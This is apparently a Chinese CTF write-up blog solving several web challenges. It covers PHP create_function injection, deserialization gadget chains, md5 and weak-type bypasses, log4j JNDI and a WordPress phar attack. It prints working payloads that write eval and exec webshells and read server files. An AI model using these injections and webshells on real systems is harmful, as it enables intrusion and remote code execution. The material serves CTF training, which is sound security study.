第六届安洵杯网络安全挑战赛

what's my name

题目是一个 RCE, 我们先贴出源码

<?php
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name'];
if(preg_match('/^(?:.{5})*include/',$d0g3)){
    $sorter='strnatcasecmp';
    $miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
        $sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
        @$miao=create_function('$a, $b', $sort_function);
    }
    else{
        echo('Is That My Name?');
    }
}
else{ 
    echo("YOU Do Not Know What is My Name!");
}

可以看到我们可以逃逸掉 create_function 来进行 RCE, 我们先看看前面的 Checker 吧

最开始的 Regex 要求要有 include, 且 include 前的字符数为 5 的倍数,

第二层判断为先会创建一个方法到 $miao, 他的返回值为 \0lambda_数字, 这个数字会随着每一次的请求递增, 他的后两位作为长度与 d0g3 比较.

我们先尝试构造一下 d0g3, 使用逃逸 + 写马, 可以构造出:

%27%22],%22%22);}file_put_contents(%22eval.php%22,%20%27%3C?php%20eval($_POST[%22cmd%22]);%27);echo%20%22done%22;//12include

计算出长度为 92, 构造请求 payload

/?d0g3=%27%22],%22%22);}file_put_contents(%22eval.php%22,%20%27%3C?php%20eval($_POST[%22cmd%22]);%27);echo%20%22done%22;//12include&name=%00lambda_92

可以写一个 python 脚本请求直到返回 done 后结束, 脚本在此不赘述.

之后可以通过 AntSword 连接到 eval.php, 可以找到 /home 下存在 1.sh, 查看内容后可以找到如下脚本

#!/bin/bash

echo $ICTF > /flag
sed -i '284978r /flag' /var/www/html/admin.php
unset ICTF
rm /flag
apache2-foreground

此处将 flag 写到了 admin.php 中, 我们可以将其打开并读取 284978 行, 拿到 flag

easy_unserialize

简单的反序列化
<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;

    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }

    public function __isset($arg1)
    {
        if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)
            {
                $this->g1->g1=666;
            }
        }else{
            die("No");
        }
    }
}
class Luck{
    public $l1;
    public $ll2;
    private $md5;
    public $lll3;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
    public function __toString()
    {
        $new = $this->l1;
        return $new();
    }

    public function __get($arg1)
    {
        $this->ll2->ll2('b2');
    }

    public function __unset($arg1)
    {
        
        if(md5(md5($this->md5)) == 666)
        {
            if(empty($this->lll3->lll3)){
                echo "There is noting";
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
    public function  __call($arg1,$arg2)
    {
        if(urldecode($this->arg1)===base64_decode($this->arg1))
        {
            echo $this->t1;
        }
    }
    public function __set($arg1,$arg2)
    {
        if($this->tt2->tt2)
        {
            echo "what are you doing?";
        }
    }
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

class Flag{
    public function __invoke()
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}

可以看到关键点是 new 了对象, 考虑原生类利用. 利用 DirectoryIteratorSplFileObject 来读取目录和文件.

我们先分析反序列化链, 最终利用点是 flag 类的函数化调用, 我们可以看到 Luck__toString 进行了此类操作, 继续寻找字符操作点, 可以发现 Luck 中的 md5, 此时需要 unset, 可以找到 Youwakeup 中存在, 由此. 构造出反序列化链

此链子算是比较简洁的一条了吧, 我看官方的好像要复杂一点, 本题目存在很多非预期
$flag = new Flag();
$flag->DirectoryIterator = '/';
$luck = new Luck('');
$you = new You();
$luck->l1 = $flag;
$luck->md5 = $luck;
$you->y1 = $luck;
echo urlencode(serialize($you));

关注到 FfffLlllLaAaaggGgGg, 再次构造

$flag = new Flag();
$flag->SplFileObject = '/FfffLlllLaAaaggGgGg';
$luck = new Luck('');
$you = new You();
$luck->l1 = $flag;
$luck->md5 = $luck;
$you->y1 = $luck;
echo urlencode(serialize($you));

得到 flag

NCTF

logging

一个简单的 log4j, 但是要找到漏洞点却需要找一会儿.

通过使用 Burp 来对 Header 进行 fuzz, 同时配合 dnslog 可以发现到 Accept 的时候报错, 同时 dnslog 抓到解析记录

由于某些原因, 此题未留图

我们发现服务端使用 Java 1.8, 于是直接 JNDI-Exploit 一把梭反弹到 Shell

Wordpress (题目名称已经忘记)

这道题类似于一个真实环境下的 WordPress 插件漏洞利用

一共有两个可利用插件, 一个 drag-and-drop-multiple-file-upload-contact-form-7 来进行文件上传, 参考文章 wpscan

All-in-One Video Gallery 进行任意文件读写, 参考文章, 这个可以通过 phar 协议进行反序列化攻击 (还真遇到了, 淦!)

我们先通过 phpggc 构造一个恶意 phar, 可以直接打 WordPress 的 RCE 链子

构造 payload 进行上传

再利用插件进行文件引用

NSSCTF Round#16 Basic

RCE但是没有完全RCE

进入之后, 可以看到:

<?php
error_reporting(0);
highlight_file(__file__);
include('level2.php');
if (isset($_GET['md5_1']) && isset($_GET['md5_2'])) {
    if ((string)$_GET['md5_1'] !== (string)$_GET['md5_2'] && md5($_GET['md5_1']) === md5($_GET['md5_2'])) {
        if (isset($_POST['md5_3'])&&md5($_POST['md5_3']) == md5($_POST['md5_3'])) {
            echo $level2;
        } else {
            echo "您!!!!!那么现在阁下又该如何应对呢";
        }
    } else {
        echo "还在用传统方法????";
    }
} else {
    echo "来做做熟悉的MD5~";
}

md5_1md5_2 采用 fastcoll 绕过, md5_3 使用数组绕过, 拿到下一步地址 /3z_RC3.php

<?php
error_reporting(0);
highlight_file(__FILE__);
$shell = $_POST['shell'];
$cmd = $_GET['cmd'];
if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){
    die("Hacker!!!!!!!!");
}
eval($shell($cmd));

此题为不允许指定字符的 RCE, 我打的可能非预期.

我们可以先用 dir 指令来看看目录, 发现根目录下的 /flag

由于过滤掉了 ?, 导致不方便写 RCE, 考虑自己写一个任意 RCE, 但是马里面会包含 <?php, 问号被过滤, 考虑用它原本就有的 index.php 追加到后面, 直接可以写马

构造参数 cmdecho "exec(\$_POST[0]);" >> index.php, shell 为任意执行函数, 即可将exec 写到 index.php

此时 index.php 中为无限制 RCE, 接下来方法就很多了.

你可以直接 cp /flag ./flag 拿 flag

我第一次的时候脑袋有点笨, 打了一个 passthru echo passthru(\$_POST[0]);" >> index.php, 之后为简单回显 RCE

了解过PHP特性吗

此题利用的大量弱比较特性

<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
    die("no!!");
}
if (intval($num)) {
    $checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
        $checker_2 = TRUE;
    }
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
        $checker_3 = TRUE;
    }
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
        if ($arr4y[$i] === "NSS") {
            die("no!");
        }
        $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
        $checker_4 = TRUE;
    }
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
    echo $rce;
}

第一个 checker 要求 num 中不包含数字但 intval 之后为 1, 此处利用非空数组 intval 后为1绕过, 构造 num[]=1

第二个 checker 要求一个字母串和一个数字的 MD5 值相同 (注意 reversed), 我们简单搜索可知 240610708QNKCDZO 满足, 第二个checker绕过

第三个要求 114 长度小于等于3但大于114514, 考虑采用科学计数法, 直接 9e9 拉满, 而 514 则要求 is_numeric 为 false 但大于 9999999999, 考虑使用字母拼接 999999999999abc

第四个是在遍历数组要求不存在 NSS, 同时进行了转换, 之后进行 array_search, array_search 中存在弱类型比较, 于是构造 arr4y[]=0, 由于相当于 0==NSS, 返回 true, 最终拿下, 得到二阶段地址

二阶段是一个 create_function 的绕过, 于是我们构造一下

echo 1;}; var_dump(file_put_contents('a.php', '<?php eval($_POST[0]);')); //

即可写马, 使用 AntSword 连接即可